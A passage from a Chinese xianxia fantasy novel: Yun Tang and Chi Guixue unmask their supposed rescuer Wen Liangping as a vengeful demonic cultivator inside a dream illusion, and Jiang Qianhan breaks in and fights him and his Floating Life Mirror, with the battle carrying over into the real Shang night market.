云棠合拢双掌,血水顺着掌根往下淌,滴在地上,她像是感觉不到丝毫疼痛,专心念道:“血脉相连,魂梦相依……小青,你在哪里?”
她等了一会儿,脑海深处,终于传来一丝微弱回应:“主……人……”
云棠惊喜道:“你能听见我说话吗,小青?”
小青只说了两个字:“小心……”
声音停止了,就连余音都消散了。
小心什么?
云棠目光茫然,环视四周。
夜色漆黑,不见半点月光。
池归雪从袖中摸出一支火折子,拢在掌心里,猛吹一口气,点燃了一缕火苗。
他的手指因为寒气侵体而微微发抖,连带着火光也一明一灭,把树影照得摇晃不定,虚空之中,似乎仍然潜伏着杂乱鬼影。
左前方又响起了脚步声,极轻,极慢,一步一步向着他们走近。
池归雪调转剑尖,对准了那个方向。
云棠侧目,火光与雾气交错之间,她看见一个人走过一重重暗影,那人踩断了枯枝落叶,脚上穿着云纹素白靴。
再往上,是一袭雪白衣袍,他的衣袖拂动了草木,却没沾上半点灰尘。
那人走出阴影,露出一张英俊面容,剑眉星目,高鼻薄唇,与平日里一模一样,正是温良平。
他身上仙气依旧清雅,右手握着一把九环剑,左手拎着一盏仙火灯,似乎还在斩妖除魔。
他对上云棠的视线,眉目间流露出担忧之色:“总算找到你们了,快,跟我来,出口在山顶上。”
池归雪原本紧绷的身躯瞬间放松了,剑尖也垂落下来:“师叔!您……您怎么也进来了?”
温良平在前方带路:“江贤侄在外面守着你们的肉身,他怕你们在梦中走失,托我进来接应,你们二人跟紧我,别迷路了。”
池归雪咳嗽一声,把石剑挂在了腰带上:“多谢师叔,若不是师叔来得及时,我们真的撑不住了。”
温良平回过头来,淡然一笑:“我在山顶设下了一座法阵,能把你们送出幻境,只要走到山顶就安全了。”
他始终走在最前方,手中灯光照亮了道路两侧。
通往山顶的路上,云棠跟在池归雪身旁,小声问:“我还是不明白,我们为什么会进入这个幻境?”
池归雪低声回答:“这里就像一个梦境,不是真实世界,但我们的神魂进来了,如果我们在这里被杀死,神魂便会受损,肉身失去了神魂滋养,会在七日之内完全腐烂,到了那时候,便是身死魂消了。”
云棠打了个寒颤:“怎样才能出去呢?”
池归雪想了想,才说:“这里是亡魂的执念形成的梦境,说白了,就是某个死人怨气太重,把我们困在了梦里,执念不散,梦境不消,只要把执念了结了,这个地方就困不住人了。”
云棠没有接话。她双手握拳
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,指甲刮挠着自己的掌心,越挠越焦急,总觉得哪里不对,到底是哪里不对呢?
池归雪以为她心里害怕,又宽慰道:“当然不止那一种办法,如果师兄也在这里就好了,他可以一剑击碎幻境,把我们救出去。”
云棠抬头,看向温良平,他背影颀长,与她相隔两丈远,白袍在夜风里微微浮动。
云棠靠近池归雪,悄悄问:“你刚才说,这里是执念形成的梦境,什么样的人,才能越过我夫君,把我们的神魂勾进来?夫君一直护着我,寸步不离,他那么厉害,天下无敌,谁又能在他眼皮底下,把我们拖进梦里呢?”
她这句话,只讲了一半:“除非是……”
云棠和池归雪的视线同时落在了温良平背后。
池归雪停下了脚步,伤口火辣辣发痛,手臂上青筋一鼓一涨地凸出来,他眼冒金星,几乎连灯影都看不清了。
他心里涌起一股疲惫感,甚至比疼痛更沉重,身体已经沉浸在伤痛之中,精神仍是十分紧绷,不敢再松懈半分,自己刚才说过的话,此时正在耳边回响:“我们若是死在了幻境里,肉身也会在七日之内完全腐烂。”
他目视前方,右手缓缓上移,握住了腰间那一把石剑的剑柄。
温良平仍在向前走,步伐从容,灯火明亮,九环剑上,环与环轻轻相碰,响声清脆悦耳,正如云棠与他初次见面的那天晚上,这一切从未改变过,云棠却又打了一个寒颤。
温良平缓缓转过身,灯光斜映在他脸上,半明半暗。
他的五官还是那样端正,目光还是那样温和,在这阴冷夜色里,他依旧安静得没有一点情绪,像是正在审视自己的猎物,让人脊背发凉。
他问:“再往前走一段路就到出口了,你们怎么停下了?”
雾气像蛇一样爬上脚踝,云棠头皮发麻,双腿也发起抖来。
面对武辛那样的恶人,她满腔怒火,恨不得一剑劈死他,然而现在,听见温良平的声音,她只觉得害怕,怕得说不出话,她不知道他究竟要做什么。
如果,这些陷阱都是温良平一手策划的,那么,他从很早以前就开始准备了,他在他们身边这么久,从未露出过一点破绽。
他精通仙界术法,还教过她念咒的技巧。
这样的人,最可怕。
云棠和池归雪都打不过温良平,此时此刻,云棠绝对不能激怒他。
云棠脚下一个踉跄,像是真的累极了,往后一倒,靠在路旁一棵槐树上:“师叔……对不起,我、我刚才真的吓坏了,那些人好可怕,手里提着那么长的刀,一直追着我和池归雪,要不是师叔来得及时,我真不敢想会发生什么?”
池归雪把手从剑柄上移开,右手自然垂下,拇指还扣在食指关节上,指甲仍是青灰色,看起来更像是强撑到现在,已经力竭:“师叔,大嫂受到了惊吓,身上也有伤,让她坐下来休息吧。”
温良平盯着云棠看了好一会儿。他嘴角微微上扬,笑意浅淡。
两年前,池归雪在人间渡劫,差点被天雷劈死,温良平忽然现身,替他挡下了最后一道雷火,当时,温良平也是这样笑的,仿佛很关爱小辈似的。
温良平轻叹一声,走近半步,却没有伸手去扶云棠,只说:“难为你了,幻境会折磨心神,既然你这么害怕,那就更不能留在这里,只要登上了山顶,神魂就能归位,来,跟师叔走,别怕。”
云棠感到自己掌心一片冰凉,冷汗浸透了皮肤,又湿又冷。她艰难吞咽了一口唾沫,双手抱住树干,勉强站直了:“好……谢谢师叔,师叔救命之恩,我……我不会忘记的。”
她不敢再抬头看他的眼睛。
巡街的守卫,遍地的尸鬼,无面判官,杨晓生,还有那个武辛……都想杀死她。
带路之人,从头到尾,都是温良平。
云棠把所有事情串连在一起,终于明白过来,那些妖魔鬼怪,一直在消耗江千寒的灵力,要把他活活拖死在夜市里。
她咬住了嘴唇,恶狠狠道:“这些歹徒太坏了,他们真是该死。”
温良平又笑了,笑声里带着一丝快意:“所以他们都死了,不过是些孤魂野鬼,竟敢惊扰到姑娘,死有余辜。”
云棠双手攥紧了两边衣袖:“我好像崴到脚了,我们能不能停下来,让我看看自己的伤势?”
温良平站在原地,俯视着云棠,轻声问:“你觉得,到了这个时候,这种拙劣的小伎俩,还有用吗?”
他已经猜到了!!
什么招数都没用了。
云棠睁大了双眼,脑子里一片空白,完全不知道如何回答了。
池归雪抬手抓来一块石头,运力碾碎,往前一扔,放出一团灰白色烟雾,他一把扯住云棠的衣袖,带着她往山下跑。
云棠甩开他的手:“你松开我,我自己跑!”
池归雪怔了一怔:“你做什么?”
云棠往前跑了几步:“我不想拖累你!”
回过头来,她才看见,池归雪落在了她后面,方才他急速运力,又牵动了伤口,现在他失血太多,快要跑不动了。
“完蛋了……”云棠喃喃道。
温良平甚至没迈出一步,只是侧了一下身,瞬移到了云棠正前方的山道上,他那一身白衣仍旧是一尘不染。
池归雪又喊了一声:“大嫂,快跑!”
话音未落,云棠眼前冒出一片黑光,无数条漆黑剑影钻破了地面,从四面八方合拢过来,封死了所有退路,如同一座铁铸的牢笼,把云棠和池归雪都囚禁在了里面。
云棠哭不出来,反倒笑了笑:“原来这才是你真正的手段,这几天,你一遍一遍召唤白色梅花阵,我还以为,你只会那一招,你装了这么久,也挺累的吧。”
池归雪已经拎起了石剑:“你到底想要什么?”
温良平也笑了,和从前一样温和:“不急,我打算慢慢来,先把你们折磨死,再炼成尸鬼,让你们和那些人作伴,也不算太寂寞。”
云棠屏住了呼吸。
池归雪的剑锋直指温良平,声音因为失血而分外沙哑:“我与你无冤无仇,你为何要背叛仙门?!”
温良平像是听见了天大的笑话,他笑得弯了腰,片刻后,才直起身子,语气里满是愉悦:“事到如今,你还觉得我是仙门弟子?”
20.求生
池归雪一句一顿:“你分明就是仙门弟子,你勾结魔界,残害同道,对得起自己的良心吗?对得起师门这些年来的教导吗?”
温良平收敛了笑意,脸上没有任何表情:“三年前,我杀了一个琼华仙府的阵修,剥了他的皮,拿了他的剑,从那时候起,我就知道,仙门法诀,好用得很。”
三年前?
云棠想明白了,三年前,温良平杀死了一个仙界阵修,夺走了那人的腰牌和九环剑,甚至抢到了琼华仙府心法秘籍,从此,他顶替了那人的仙门身份,混迹在人间各地,无人识破他的伪装。
她自言自语:“你一直都在冒充他……”
温良平却说:“我用的还是我自己的名字。”
云棠声音更轻:“可是,池归雪说,你是绍州温家的人,温家世世代代都是阵修……”
温良平唇角一勾,微微笑起来:“天底下姓温的人何止百万,碰巧罢了。”
他伸出右手,掌心里燃起一簇暗红色火焰,火光照在他脸上,映入他漆黑的瞳仁里,冰冰冷冷,仿佛没有半点活人气息。
他叹了一口气:“说了这么多,也该开始了,我先烧掉你们一层皮,再拿冷水泼到你们身上,皮肉都会自然脱落,如何?慢慢来,不着急。”
火焰飞进了剑阵里,落在地上,向着四周扩散,地面泥土烧成了一片赤红色,滔滔热浪由下向上席卷过来,浓烟直冲天空,火星四射,溅得到处都是。
空气里弥漫着一股焦糊味,池归雪的鞋底已经被烧焦了,脚底板上没有一块好皮,他疼得直不起腰,声调极低地“啊”了一声,身上汗水汹涌地流下来,又在眨眼之间被猛火烤干了。
云棠吓得呆住了。
她以为自己马上就要被烧死了,但她一点也不觉得痛,脚上还穿着一双绣鞋,裙摆也没沾上火星。
她咬了一下嘴唇,眼角余光瞥见自己手腕上那一只护身玉镯,似乎闪烁了一瞬,她抬手往前伸,果然碰到了一道透明结界,环绕在她周身,把烟火挡在了外面。
她往前走了两步,几乎快要贴到池归雪身上,可是结界仍然只笼罩着她一个人,连一寸边角都没分给池归雪。
池归雪的脚掌踩在地面上,烧得滋滋响,他咬紧牙关,双手握住石剑,沉声念道:“霜雪,千里冰封。”
剑尖抵住了地面,催生出一阵寒气,地上凝结了一层白霜,形状如同一个圆圈,仅有半尺见方。
云棠和池归雪都站在圆圈之内,暗红火焰围绕在四周,仍在一点一点融化白霜的边缘。
池归雪还没注意到云棠身上的结界,他喘着粗气说:“我会保护你,大嫂。”
池归雪真是十分仗义,云棠心里却已经凉了半截,刚才,池归雪那一句口诀是“霜雪,千里冰封”,但是,当他把这一招施展出来,这霜雪仅有半尺圆圈大小,怎么称得上“千里冰封”呢?
显然,池归雪灵力衰微,快要撑不住了。
云棠转过头,盯着温良平,她亲眼看见,温良平不由自主笑了一下,原来如此,他故意用烈火炙烤池归雪,就是为了让池归雪动用本命剑法,持续损耗池归雪的神魂。
温良平似乎很了解池归雪,云棠都不知道池归雪的本命剑法有哪些招式,温良平已经算好了每一步,正如他之前所说,他要慢慢折磨池归雪和云棠,让他们二人都在痛苦中死去。
云棠直接开口问:“温前辈,你为什么这么恨池归雪?他与你之间,明明无冤无仇。”
温良平一派坦然:“你先问问池归雪,他亲爹做过什么恶事?”
池归雪也明白过来,云棠正在拖延时间,他不知道她在打什么主意,但他决定配合她,主动接过了话:“我父亲名叫池怀舟,是人间剑修,行事端正,心胸宽广,在江湖上也有几分薄名。”
火势猛然加大,霜雪凝成的半尺圆圈又缩小了三分之一。
池归雪双膝一软,跪在了地上,膝盖撞到了几块碎石,顷刻间鲜血流淌。
他闷哼一声,背脊还是勉强挺立着,肩膀却在微微颤抖,好像随时都会倒下去,再也爬不起来。
云棠连忙坐在池归雪身旁,想要召唤灵兔为他止血疗伤,但她自己也太累了,使不上一点力气,无法让灵兔成型。
云棠小声呢喃:“怎么办……”
她伸手扶住了池归雪的衣袖。
池归雪仗剑撑地,抬起头来,对上温良平的视线。
温良平站在剑阵之外,双手合拢,低声道:“你爹在你面前,一向很会装模作样,二十年前,你六岁,你母亲带你去了人间第一剑修宗门求学,你父亲池怀舟留在了镇上,那时候,我和池怀舟还是至交好友。”
他嘲讽般笑了一声:“池怀舟在酒桌上喝醉了,把我的事散播了出去,他说,我无门无派,无权无势,全靠自己修炼到了第七层巅峰,引来了仙界使者。”
听到这里,云棠已然惊讶得忘记呼吸了,她猜到了,温良平就是沈连音的丈夫!!
果然,温良平又盯紧了池归雪:“仙界还有个规矩,修为不到第四层,不得进入仙界,我妻子当时还怀着身孕,我怎么可能丢下她一个人?我拒绝了仙门邀请。”
他闭上眼睛:“我历劫那天,阿音在家里等我回来,我答应她,最多半天……”
剑阵之内,火光更加炽热。
池归雪把自己的嘴唇咬出血了。
云棠急忙道:“纵然如此,冤有头,债有主,杀你全家的是那些歹徒,你也报过仇了,池归雪是无辜的,他那时候才六岁,还是个孩子!”
温良平猛然睁开眼,怒视着云棠:“他无辜?!那我的妻子呢?我那还没出世就惨死的孩子呢?!她们又有什么罪?!”
他双眼里浮出血丝,声音反而沉了下去:“仙门之人,口口声声仁义道德,却把凡人分成三六九等,害死了我全家人,我势必屠尽仙门弟子,为我全家报仇雪恨。”
池归雪声调更低:“如果当年之事,真是我父亲的过错,我不会替他推脱半句……但云姑娘不是仙门弟子,你要报仇,就冲我来,云姑娘与你无冤无仇,请你高抬贵手,放她走。”
温良平仿佛没听见池归雪的话,只问了一句:“我在想,你爹这些年,可曾提起过‘温良平’这三个字?”
池归雪如实回答:“我爹从未提过,我一直把你当作……仙门师叔。”
温良平又笑了:“好一个‘从未提过’,他若是提过,两年前,你第一次见到我,就该认出我是谁了。”
他双手背后:“我温良平一家老小的性命,你爹连提都不敢提,你自己说,这种人,该不该死?”
池归雪还没回答,温良平已经抬起了双掌,掌心涌出无数剑影,嗡嗡震颤,他缓声道:“今天,就替我全家,收了这笔债。”
池归雪认出来了,那是“万剑穿心”,魔修最歹毒的杀招,中招者浑身插满毒剑,每一寸骨肉都会腐烂成泥,在断气之前,要承受常人无法想象的剧痛,死后也会受尽折磨,永世不得超生。
他立即运力,手上忽然多了一个东西,玉质温润,那是云棠的护身玉镯。
他的心脏差点停跳了,云棠竟然把护身玉镯给了他,她什么时候递过来的?他竟然一点都没察觉。
恍惚之间,他记起来,云棠曾经说过,她小时候学过变戏法,手很快。
温良平念出口诀:“幽冥道,万剑穿心。”
池归雪不再犹豫,只有这一次机会,如果他护不住云棠,哪怕他自己逃出了幻境,师兄也必定会一剑砍死他。
他拼尽最后一口气,运转全身灵力,全部灌入双掌之中,暴喝道:“霜雪,千里冰封!!”
他打出双掌,掌风凝成一堵冰墙,狠狠撞在云棠身上,瞬间把她推出了剑阵,一直推到了十丈之外。
云棠摔倒在地上,回头望去,冰墙已经合拢了,把她包围起来,像是一道冰雪结界,内部仅有一点狭小空间,她甚至不能站直,只能浑身蜷缩,那冰墙并不坚固,表面上蒙着一层水雾,还在慢慢融化。
池归雪依旧留在剑阵里,连一步都没迈开。他早已气衰力竭了,胸腔胀痛,无法呼吸,剑柄也握不住了,那一只手镯还挂在他指尖上。
黑剑尖锐锋利,至少有上万把,笔直地刺向他,破空之声由远而近,池归雪扬起头,心中感叹自己快死了。
然而,想象中的剧痛并未袭来,黑剑全都钉在了一层透明结界上,剑尖距离他的皮肤不到一寸,玉镯上光芒大涨,闪得他睁不开眼。
温良平额头上青筋暴起,双掌猛然向前推:“击碎!!”
结界上裂开了一条细缝,手镯上也落下了几块碎片。
温良平再次发动攻势:“万箭穿心!!”
看到这里,云棠几乎要绝望了,冰墙也完全融化了,她和池归雪真的会死在这里吗?
她快要哭出声了,头顶忽然亮起一大片金光,夜空撕裂开来,灿烂金光洒遍大地,一柄长剑从夜空之外直射进来,剑身上缠绕着霹雳雷火,飞得极快,比雷电更快,轰然炸开巨响,充盈着毁天灭地之力,劈进了温良平那个剑阵的正中央。
剑阵立即坍塌了。
残剑也被雷火吞没,化成灰烬。
万千雷霆来势汹汹,把天地劈得弯曲扭转,视野中一切景物都褪色了,变形了,树木山石拧成了环状,像是画纸上胡乱涂抹出来的残影。
如此强悍的剑气,云棠这辈子只在一个人身上见过。
她哭着喊道:“江千寒!救我!!”
江千寒人还没到,剑已经到了。
那长剑似乎听见了云棠的哭声,剑锋一转,破空而来,转眼便落在她身旁,剑气把她卷上了高空,直向那一片金光掠去。
她浑身暖融融的,丹田里有一股温暖气息正在流通,缓慢修补她的伤口,这一定是江千寒渡来的灵力,他终于找到她了,她可以回家了吗?温良平不会再追过来吧?
她精疲力尽,连思考的力气都没了,倒头昏睡了过去。
不知过了多久,云棠闻到了血腥气,立即惊醒了。
夜色深沉,眼前是一条宽阔长河,河面上波光闪动,雾气飘渺,岸边芦苇正在风中摇荡。
她还没回过神,又感到一阵灼热鼻息洒在她耳畔,好痒啊,这是在哪里呢?
她背靠着一片健壮胸膛,腰上还横着一只手臂,结实有力,隔着一层黑衣布料,仍能看出他手上肌肉全都绷紧了,硬邦邦的,箍得她动弹不了。
她眨了眨眼睛,小声喊道:“夫君……”
江千寒的声音从她头顶传来:“现在感觉怎么样?”
云棠心神恍惚,这一时之间,她分不清什么是现实,什么是幻境。
心里委屈的不得了,她其实很想哭,可又隐约知道现在不是哭的时候。
她接连做了几个深呼吸,眼睛还没完全睁开,今晚月光太过明亮,她暂时无法适应,干脆微微眯着眼,倚靠在他怀里,喃喃道:“温良平……”
江千寒打断了她的话:“我都知道了,别怕,身上的伤还疼吗?”
云棠本来想说自己没事,可是她才刚抬起手腕,双手双脚都疼得钻心,并非皮肉之痛,而是一种深入骨髓的剧痛。
她站都站不稳,忍不住抽泣一声:“好痛。”
她摊开手掌,让他看清楚自己手心里的血痕,皮肉绽开,筋骨也肿胀起来,一点一点往外渗着血。
她轻声问:“这是在幻境里划出来的,伤在神魂,为什么肉身上也会有伤口呢?真的好痛啊……我回家之后,可以哭吗?”
江千寒一直没说话。
他低下头,小心翼翼托起她的双手,轻轻吹了一口气,凉意袭来,肿胀好像消退了几分,他又亲了亲她的指根。
云棠的心脏还在狂跳,脑海里闪过千万个念头,既贪恋江千寒的触碰,又想把手收回来藏到身后,心情十分杂乱,简直乱成了一团浆糊。
她往江千寒怀里缩了缩,低头时,眼角余光扫到了一个人影。
池归雪正坐在距离她一尺远的一块平地上。他盘着腿,双手搭在膝头,脸色灰白,嘴唇干裂,脚边滚过一只白瓷药瓶。
云棠吓了一跳,也不知道池归雪坐在那里多久了,方才江千寒亲她手指的时候,他是不是全看见了?
她连忙问:“你……你的伤怎么样了?”
池归雪语声平稳:“大嫂放心,师兄从幻境里把我拽出来,直接扔在了这里,我暂时站不起来。”
云棠缓了一会儿,这才想起另一件大事:“温良平在哪里呢?”
江千寒看着云棠身上的伤口,怒火未消:“不过是个缩头乌龟,早就跑远了。”
又有一道笑声飘过来,云棠循声望去,温良平正站在一座山崖上,白衣飘然,垂眼俯视着江千寒。
温良平冷淡道:“别忘了,你曾经叫过我师叔。”
江千寒略微抬头:“你仔细想想,我从未叫过你师叔,不过是看在你年纪大的份上,喊了两次前辈而已。”
此话一出,云棠也愣住了,认真回忆了一遍,好像真是这样?江千寒一直没把温良平当作师叔,只用“温前辈”这三个字称呼他。
难道,江千寒早就看穿了温良平的身份吗?
江千寒右手握剑,剑尖遥遥指向山崖之上:“戏演完了,该退场了。”
温良平站在崖顶,唇边又浮起一丝微笑:“既然你早就知道我是谁,为什么不告诉你的妻子和师弟?他们二人一同陷入幻境,你却没有及时把他们救出来,害得他们身受重伤,说到底,都是因为你太过自负。”
他叹声道:“云姑娘手上筋脉都被割断了,双脚也被刀锋刺穿了,这些伤疤留在神魂上,只怕一辈子都好不了,往后余生,她连一只碗都端不起来,等同于一个废人。”
云棠心里清楚,她的伤远没有这么严重,温良平故意夸大其词,只是为了激怒江千寒。
她赶紧抬头,想告诉江千寒,千万不要上当了。
江千寒脸上没有一丝表情,眼中却有火光燃烧,云棠从未见过他这副模样,她都有些害怕了。
江千寒轻轻笑了,剑尖上挑,直指崖顶,淡然道:“我会把你,一寸一寸,削成肉泥。”
温良平脚尖一点,悬在半空之中:“你强行撕裂幻境,闯进去大发神威,虚空反噬的滋味不好受吧?到了这个时候,你还逞什么强?”
江千寒没有回答他。
他反手甩出一道金光结界,又把云棠和池归雪罩在了里面。
云棠抬头看他,他的背影就像往常一样高大挺拔,但他左手衣袖上也沾了一片血迹,血水落在泥土里,无声无息。
温良平说得没错,江千寒确实遭遇了幻境反噬。
云棠还没来得及说一句话,江千寒已经踏空而起,直追温良平。
他问:“这个商灯夜市是假的,这些年来,你杀了多少人?”
云棠浑身一震,这个商灯夜市竟然是假的?
她忽然想起来,江千寒之前说过一句话:幽姬是魔界第一医师,每年只接诊五个人,必须是魔修,凡人和仙修一概不见,除非那人在最近一年之内对魔界有过大恩。
原来如此,江千寒从一开始就打算铲除这个商灯夜市,让魔界亏欠他一笔恩情,他就能……就能带她去治病了。
他兜兜转转这么久,费了那么多力气,都是为了让她活下去,可他一个字都没对她提过,如果她知道了,她一定会制止他的,她不想让他因为自己而
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卷入魔界纷争。
数百年来,仙魔二界交战了不止十次,魔界本身也是动荡不安,各类混战从未停止过。
八年前,江千寒一剑平定魔乱,从此天下人尊称他为战神,表面上当然是风光无限,可她也亲眼见过他身上的狰狞伤疤,那么长,那么深,也不知道他当时休养了多久才好转过来。
她怕他将来会死在战场上。
泪水划过脸颊,她慌忙把眼泪擦干,不知道自己还能不能助他一臂之力?
此时此刻,江千寒的剑风扫到了山崖上,几块巨石一同爆裂,温良平不退反进,他抬起双手,掌间浮出一张铜镜,镜子正面光滑如水,反面刻满了符文,镜中仍未映出人影,只有一团跳动的鬼火。
温良平又念出了三个字:“浮生镜。”
云棠皱紧了眉头。
她记得,上古魔尊座下还有四大护法,其中一个护法名叫“浮生镜妖”,这个浮生镜,恐怕就是“浮生镜妖”的本命法宝!
温良平到底是什么人?他为什么会继承浮生镜?他和四大护法又是什么关系?
温良平催动口诀:“浮生镜,万劫归一。”
浮生镜漂浮在河面之上,开始旋转,镜面上鬼火爆燃,镜子的数量也成倍增加了,不过一眨眼之后,无数镜子铺满了夜空,每一面都映出了一个江千寒的身影。
镜子里,他浑身皮肉腐烂,跪在地上,面容扭曲,他正在吐血,抱着一具尸体痛哭,他这一生可能遇到的最残酷的惨状,都被镜子呈现到了他面前,向着他飞撞过去。
江千寒一剑横扫,镜像碎成了漫天残屑,纷纷坠落。
云棠忽然大喊:“河水!河水也是镜子!”
那些碎片落入河中,河面上竟然烧出了鬼火,又有许多全新的镜像从水中升起,比之前更密集,铺天盖地。
江千寒剑尖向下,直刺河面,口中念道:“烈日,焚江。”
剑身上燃起金色烈焰,火光冲入河水之中,从上游一路烧到下游。
水面顿时沸腾了,水汽冲天,化作雨点散落在大地上,空气潮湿得可以拧出水来,云棠打了个喷嚏,再往前看,河床上的淤泥已被烤成了焦炭。
那一条大河,全烧干了。
池归雪定了定神:“烈日剑法之中,没有‘焚江’这一招,那是师兄自创的。”
使出这一招,必须强行逆转五行,以火克水,还要突破浮生镜的压制,江千寒会消耗多少灵力?云棠不敢细想。
江千寒落在一棵参天古树的枝叶间,他的右臂上又添了一道新伤,黑衣裂开一条口子,鲜血涌了出来。
云棠最担心的事,最终还是发生了,浮生镜果然威力无穷。
她低声问:“我们在幻境里的时候,温良平为什么没把浮生镜拿出来?”
池归雪仍然坐在地上:“因为温良平不是浮生镜真正的主人,二者神魂并不相连,温良平不能在幻境里驱动镜子,现在不一样,这里是现实世界,浮生镜里封印着镜妖的全部力量……师兄已经受伤了,再拖下去,对他很不利。”
温良平显然也看见了江千寒手臂上的血迹,他笑了起来:“江千寒,你也不过如此,我今日就送你一程,让你全家人都在地府重聚。”
江千寒抬起头,眺望夜空,月光照在他脸上,他神色冷静,不再正视温良平。
温良平见他不动,又念出一句口诀:“浮生镜,白发枯骨。”
浮生镜在空中一震,镜面亮起白光,云棠瞪大了眼睛,勉强看清了镜中光影,后背汗毛又竖起来了。
镜中是一具惨白骷髅,眼眶空洞,骨架上残留着刀痕血迹,像是被一刀一刀活活剃掉了血肉之后,只剩白发枯骨。
云棠忽然明白了浮生镜是怎么杀人的。
镜子里呈现出来的惨状,会直接转嫁到他人身上,比如这个“白发枯骨”,一旦中招,那人就会切身感受到血肉剥离的剧痛,这般痛苦不会立刻结束,只会无限延长,就像人这一生那么久,久到黑发变白发,神魂也会在无尽折磨中彻底消散。
怪不得,这个镜子,名叫“浮生镜”。
实在太歹毒了!!
云棠已经在心里把这面破镜子骂了不知道多少遍。
江千寒凌空一跃,剑光一闪,又一次把镜像劈碎,爆裂声尖锐刺耳,震得周围树木枝叶抖落。
温良平大概是厌倦了这种一来一回的反复拉扯,他抬手掐出一个法诀,浮生镜翻面向下,掉出来几百个人影,全是活人!
他们摔在地上,放声哭喊:“仙君……仙君救命!”
这些人遍体鳞伤,衣衫褴褛,都是真正的修士。
温良平抬起九环剑:“你再出一招,我就把他们全部活宰了。”
江千寒双手结印,金光飞速拓展,一端连接着地上散落的镜子碎片,另一端穿透了夜空,直接缠上了那一轮明月。
他低声道:“千里通行阵,开。”
阵纹立即在地上浮现,幻化出重重灯影,连接着另一个世界,那一边灯火辉煌,人声鼎沸,云棠顿时明白了,那才是真正的商灯夜市!
金光结界也罩住了那些仍在哭喊的修士,温良平不怒反笑:“你以为你跑得掉?你的妻子也要给你陪葬。”
江千寒剑尖一转:“劳你费心,小棠很安全。”
温良平道:“但你师弟受了重伤。”
江千寒道:“我无所谓。”
池归雪在结界里大喊道:“师兄,我也想活命!”
江千寒头也没回:“你皮糙肉厚,死不了。”又命令道:“小棠,快走!”
云棠双掌合十,放出了小青的本体,小青轻松卷起了池归雪,带着他冲向了那一条光影通道。
云棠自己怀抱着小宝,哪怕双脚还是针扎般的隐隐作痛,她仍然跑得飞快,嘴里高喊道:“快走,都跟我走!!”
众多修士跟随云棠撞进了那一堵光墙里。
璀璨灯光骤然倾泻下来,照得夜空明亮如昼,酒香,茶香,人声,歌声全部灌进了她的耳鼻之中,她睁大双眼,面前是一条宏伟长街,两侧商铺林立,众多修士来来往往,秩序井然,根本看不到一个当众腰斩自己的杂耍班子。
这才是真正的商灯夜市。
街道尽头,立着一座高达百丈的墨玉楼,砌楼所用的砖瓦全是墨玉雕成,六角屋檐之下,悬挂着红纱灯笼,每一盏灯笼上都写明了“商”字。
墨玉楼第三层回廊上,站着一位年轻男子,他手里握着一把洒金紫檀折扇,衣着考究,身姿挺拔,正低头看着街上的密集人潮。
云棠也不知道为什么,只是这么望了一眼,就觉得那个人一定是商灯夜市真正的主人,商家少主,商羽。
商灯夜市的守卫们及时赶到,疏散了周围人群,还把那些遭受了折磨、侥幸逃生的修士从地上扶了起来,云棠正要说话,身后忽然涌出了一股强烈魔气,温良平追过来了。
他从光墙里迈出来,一剑斩向了池归雪。
商灯夜市瞬间陷入混乱。
修士们四散奔逃,摊贩的货架被撞翻了,江千寒飞身而来,又是一剑直劈温良平,但他的身影与镜像交融,虚实不定,总能找到躲藏之处。
近旁赶来一群仙门弟子,看见温良平身上穿着琼华仙府的道袍,腰间挂着琼华仙府的腰牌,浑身却散发出浓重魔气,当即拔剑出鞘:“琼华仙府出了叛徒!我们来助你清理门户!!”
“退后!”江千寒厉声道,“你们都不是他的对手!”
仍有几个不怕死的仙门弟子直冲上前,温良平甚至没有转身,反手使出一剑,散漫随意,纵然江千寒的金光结界又铺了过来,还是有一个弟子被砍断了一条胳膊,鲜血飞溅,洒在了灯笼纸面上。